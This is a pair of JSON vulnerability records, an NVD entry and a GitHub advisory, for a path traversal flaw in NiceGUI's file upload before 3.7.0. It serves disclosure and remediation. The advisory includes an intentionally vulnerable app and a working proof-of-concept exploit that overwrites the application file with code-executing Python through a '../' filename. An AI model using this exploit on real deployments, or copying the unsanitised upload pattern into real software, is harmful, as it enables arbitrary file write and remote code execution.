{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "NiceGUI is a Python-based UI framework. Prior to 3.7.0, NiceGUI\u0027s FileUpload.name property exposes client-supplied filename metadata without sanitization, enabling path traversal when developers use the pattern UPLOAD_DIR / file.name. Malicious filenames containing ../ sequences allow attackers to write files outside intended directories, with potential for remote code execution through application file overwrites in vulnerable deployment patterns. This design creates a prevalent security footgun affecting applications following common community patterns. Note: Exploitation requires application code incorporating file.name into filesystem paths without sanitization. Applications using fixed paths, generated filenames, or explicit sanitization are not affected. This vulnerability is fixed in 3.7.0."
    }
  ],
  "id": "CVE-2026-25732",
  "lastModified": "2026-02-06T22:16:11.993",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 7.5,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "NONE",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-02-06T22:16:11.993",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/zauberzeug/nicegui/blob/main/nicegui/elements/upload_files.py#L110-L115"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/zauberzeug/nicegui/blob/main/nicegui/elements/upload_files.py#L79-L82"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/zauberzeug/nicegui/security/advisories/GHSA-9ffm-fxg3-xrhh"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-22"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.6.1"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "nicegui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25732"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-601"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-05T21:08:53Z",
    "nvd_published_at": "2026-02-06T22:16:11Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nNiceGUI\u0027s `FileUpload.name` property exposes client-supplied filename metadata without sanitization, enabling path traversal when developers use the pattern `UPLOAD_DIR / file.name`. Malicious filenames containing `../` sequences allow attackers to write files outside intended directories, with potential for remote code execution through application file overwrites in vulnerable deployment patterns. This design creates a prevalent security footgun affecting applications following common community patterns.\n\n**Note**: Exploitation requires application code incorporating `file.name` into filesystem paths without sanitization. Applications using fixed paths, generated filenames, or explicit sanitization are not affected.\n\n### Details\n**Vulnerable Component**: `nicegui/elements/upload_files.py` ([upload_files.py#L79-L82](https://github.com/zauberzeug/nicegui/blob/main/nicegui/elements/upload_files.py#L79-L82) and [upload_files.py#L110-L115](https://github.com/zauberzeug/nicegui/blob/main/nicegui/elements/upload_files.py#L110-L115))\n\n**Affected Methods**: `SmallFileUpload.save()`and `LargeFileUpload.save()`\n\n```py\nasync def save(self, path: str | Path) -\u003e None:\n    target = Path(path)\n    target.parent.mkdir(parents=True, exist_ok=True)\n    await run.io_bound(target.write_bytes, self._data)\n```\n\n**Root Cause**: The `save()` method performs no validation on the provided path parameter. It accepts:\n- Relative paths with `../` sequences\n- Absolute paths\n- Any file system location writable by the process\n\nWhen developers use `e.file.name` (controlled by the attacker) in constructing save paths, directory traversal occurs:\n```py\nsave_path = UPLOAD_DIR / e.file.name  # e.file.name = \"../app.py\"\nawait e.file.save(save_path)           # Writes outside UPLOAD_DIR\n```\n\n### PoC\n- Terminal 1 (App)\n```bash\ncd /tmp \u0026\u0026 mkdir -p evilgui \u0026\u0026 cd evilgui\npython3 -m venv evilgui \u0026\u0026 source evilgui/bin/activate\npip install nicegui\n\ncat \u003e vulnerable_app.py \u003c\u003c \u0027EOF\u0027\nfrom nicegui import ui\nfrom pathlib import Path\n\nUPLOAD_DIR = Path(\u0027./uploads\u0027)\nUPLOAD_DIR.mkdir(exist_ok=True)\n\n@ui.page(\u0027/\u0027)\ndef index():\n    async def handle_upload(e):\n        save_path = UPLOAD_DIR / e.file.name\n        await e.file.save(save_path)\n        ui.notify(f\u0027File saved: {e.file.name}\u0027)\n    \n    ui.upload(on_upload=handle_upload, auto_upload=True)\n\nui.run(port=8080, reload=False)\nEOF\n\npython3 vulnerable_app.py \u0026\n```\n\n- Terminal 2 (Exploit)\n```bash\ncat \u003e exploit.py \u003c\u003c \u0027EOF\u0027\nimport requests, re, time\n\ns = requests.Session()\ns.get(\u0027http://localhost:8080\u0027)\ntime.sleep(2)\n\nhtml = s.get(\u0027http://localhost:8080\u0027).text\nmatch = re.search(r\u0027/_nicegui/client/([^/]+)/upload/(\\d+)\u0027, html)\nupload_url = f\u0027http://localhost:8080/_nicegui/client/{match[1]}/upload/{match[2]}\u0027\n\npayload = \u0027\u0027\u0027from nicegui import ui\nimport subprocess\n@ui.page(\"/\")\ndef index():\n    ui.label(subprocess.check_output([\"id\"], text=True))\nui.run(port=8080, reload=False)\n\u0027\u0027\u0027\n\ns.post(upload_url, files={\u0027file\u0027: (\u0027../vulnerable_app.py\u0027, payload, \u0027text/x-python\u0027)})\nEOF\n\npython3 exploit.py\n```\n- Restart the application to execute the injected code:\n```\npkill -f vulnerable_app \u0026\u0026 python3 vulnerable_app.py\n```\n- Observe http://localhost:8080\n\n### Impact\n**Affected Applications**: All NiceGUI applications using `ui.upload()` where developers save files with `e.file.save()` and include user-controlled filenames (e.g., `e.file.name`) in the path.\n\n**Attack Capabilities**:\n- Write files to any location writable by the application process\n- Overwrite Python application files to achieve remote code execution upon restart\n- Overwrite configuration files to alter application behavior\n- Write SSH keys, systemd units, or cron jobs for persistent access\n- Deny service by corrupting critical files\n\n**Exploitability**: Trivially exploitable without authentication. Attackers simply upload a file with a malicious filename like `../../../app.py` to escape the upload directory. The vulnerability is prevalent in production applications as developers naturally use `e.file.name` directly, following patterns shown in community examples.\n\n### Remediation\n#### For Users\n```py\nasync def handle_upload(e):\n    safe_name = Path(e.file.name).name # Strip directory components!\n    await e.file.save(UPLOAD_DIR / safe_name)\n```\n\n#### For Maintainers\n```py\nasync def save(self, path: str | Path, *, base_dir: Path | None = None) -\u003e None:\n    target = Path(path).resolve()\n    \n    if base_dir is not None:\n        base_dir = base_dir.resolve()\n        if not target.is_relative_to(base_dir):\n            raise ValueError(\n                f\"Path \u0027{target}\u0027 escapes base directory \u0027{base_dir}\u0027\"\n            )\n    \n    target.parent.mkdir(parents=True, exist_ok=True)\n    await run.io_bound(target.write_bytes, self._data)\n````",
  "id": "GHSA-9ffm-fxg3-xrhh",
  "modified": "2026-02-07T00:31:58Z",
  "published": "2026-02-05T21:08:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/zauberzeug/nicegui/security/advisories/GHSA-9ffm-fxg3-xrhh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25732"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/zauberzeug/nicegui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zauberzeug/nicegui/blob/main/nicegui/elements/upload_files.py#L110-L115"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zauberzeug/nicegui/blob/main/nicegui/elements/upload_files.py#L79-L82"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "NiceGUI\u0027s Path Traversal via Unsanitized FileUpload.name Enables Arbitrary File Write"
}